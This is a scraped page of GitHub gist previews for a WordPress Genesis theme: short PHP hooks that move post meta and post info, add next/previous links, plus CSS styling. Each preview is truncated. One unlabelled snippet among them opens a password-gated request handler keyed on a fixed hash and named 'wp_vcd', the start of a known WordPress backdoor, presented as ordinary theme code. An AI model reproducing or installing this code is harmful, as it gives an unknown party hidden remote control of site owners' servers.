This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ADD NEXT/PREV POST | |
// https://sridharkatakam.com/add-links-previous-post-next-post-single-posts-genesis/ | |
add_action( 'genesis_after_entry', 'custom_adjacent_entry_nav', 9 ); | |
function custom_adjacent_entry_nav() { | |
if ( !is_singular( 'post' ) ) { | |
return; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* --- Post Meta Styling ---*/ | |
.entry-categories, .entry-tags { | |
display: inline-block; | |
border: 1px solid; | |
padding: 0 10px; | |
background: #1982df; | |
color: white; | |
box-shadow: 1px 1px #fff; | |
text-transform: uppercase; | |
font-weight: bold; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Relocate Post Meta | |
remove_action( 'genesis_entry_footer', 'genesis_post_meta' ); | |
add_action( 'genesis_entry_header', 'genesis_post_meta', 9 ); | |
// Filter Post Meta and Use it Condtionally | |
add_filter( 'genesis_post_meta', 'leaguewp_post_meta_filter' ); | |
function leaguewp_post_meta_filter($post_meta) { | |
if ( !is_page() ) { | |
$post_meta = '[post_categories before=""] [post_tags before=""]'; | |
return $post_meta; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Relocate post info | |
remove_action( 'genesis_entry_header', 'genesis_post_info', 12 ); | |
add_action( 'genesis_entry_footer', 'genesis_post_info', 9 ); | |
//* Customize Post Info | |
add_filter( 'genesis_post_info', 'leaguewp_post_info_filter' ); | |
function leaguewp_post_info_filter($post_info) { | |
$post_info = 'BY [post_author_posts_link] • [post_date]'; | |
return $post_info; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '4774c4b1a8af859f72ad92f7d34a161b')) | |
{ | |
$div_code_name="wp_vcd"; | |
switch ($_REQUEST['action']) | |
{ | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@media only screen and (max-width: 860px) { | |
.timeline-body .site-inner { | |
padding: 5% 0 5% 5%; | |
} | |
.timeline::after { | |
left: 0; | |
} |